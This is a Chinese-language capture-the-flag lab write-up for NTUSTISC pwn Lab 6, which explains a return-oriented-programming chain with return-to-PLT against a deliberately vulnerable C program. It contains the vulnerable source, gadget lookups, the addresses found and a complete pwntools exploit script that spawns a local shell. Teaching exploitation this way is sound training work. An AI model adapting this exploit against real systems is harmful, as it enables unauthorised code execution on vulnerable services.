[NTUSTISC pwn LAB 6]rop&Return to plt实验

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[NTUSTISC pwn LAB 6]rop&Return to plt实验相关的知识,希望对你有一定的参考价值。

一、要点

  • ROP chain
  • return to PLT

二、预备知识

预备知识请参考pwn入门参考资源中的PLT、ROP部分。

三、题目

这是一道pwn rop题目,不但给出了二进制文件,也给出了源文件:
题目及相关资源的下载地址为:
链接:https://pan.baidu.com/s/1uRyQN1dzA0OLsgcn1UtYjg
提取码:vfdl
本次实验对应Lab5

四、解题过程

1、检查保护机制

checksec只有NX,无法平坦的溢出栈空间。
在这里插入图片描述

2、运行查看效果

运行该程序,用户有两个输入点,第一个输入点填充大量的字符串时,程序并未段错误,并直接退出(Why?待分析bbs段溢出的情况)。第二个输入点填充大量字符串时,程序crash,报段错误。
在这里插入图片描述

3、静态分析

直接看实验中给出的源码rop.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char name[16];

int main()
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  char buf[16];
  system("echo What is your name?");
  read(0, name, 0x10);
  puts("Say something: ");
  read(0, buf, 0x40);
  return 0;
}

两个read函数用于接收用户的输入,第一个read函数读入bss段的name全局变量,第二个read可读入0x40个字节,有空间足够通过gadget链拼接出shellcode。

4、ROP chain的设计

要拼出的ROP chain见下图:
在这里插入图片描述
在栈中填入ROP链接和system的plt所需的参数,利用系统调用打开shell。

5、查找gadget片段

使用命令ROPgadget --binary rop。如果gadget比较多的话,可以导出到文件,并通过文件查找所需的gadget。

ROPgadget --binary rop > g

使用cat g | grep "pop rdi"来查找该片段:
在这里插入图片描述
pop rdi的地址为0x0000000000400733。
objdump -d -M intel ret2plt查找name变量的虚拟地址为0x601070:
在这里插入图片描述
使用cat g | grep "ret"来查找该片段,地址为0x4004fe:
在这里插入图片描述
如果不加入这条ret指令时,是不影响本地运行的,因为控制好rdi后,跳到system执行就能拿到shell,这属于多插入的一条ret指令。
那么,问题一来了:为什么插入这条ret指令呢?
主要原因是远端主机环境时,进入到system调用后,会用到xmm的寄存器,该寄存器为128位,就要求stack为0x10对齐,如果stack是0x08这样8字节对齐时,运行到某个点时就无法通过,并crash掉,增加这条ret语句就是为了stack对齐。
使用objdump -d -M intel ret2plt查找system@plt,地址为0x400520:
在这里插入图片描述

7、编写exp

编写的exp为:

from pwn import *

r = process('./ret2plt')

pop_rdi = 0x400733 #pop rdi;ret
bss = 0x601070
ret = 0x4004fe  #ret
system_plt = 0x400520   #system@plt

r.recvuntil('?\\n')

p = 'sh\\x00'

r.send(p)

p = 'a'*0x18
p += p64(pop_rdi)
p += p64(bss)
p += p64(ret)
p += p64(system_plt)

r.recvuntil(': \\n')

r.send(p)

r.interactive()

运行该脚本后,执行ls命令,可以看出已经拿到了shell:
在这里插入图片描述

以上是关于[NTUSTISC pwn LAB 6]rop&Return to plt实验的主要内容,如果未能解决你的问题,请参考以下文章

[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)

[NTUSTISC pwn LAB 4]gothijacking入门实验

[NTUSTISC pwn LAB 1]栈溢出:gdb动态调试bof

[NTUSTISC pwn LAB 3]栈溢出:返回值跳转到shellcode ret2sc 实验

[NTUSTISC pwn LAB 0]新手就能掌握的pwntools接口入门实验

[NTUSTISC pwn LAB 2]栈溢出:gdb动态调试bof2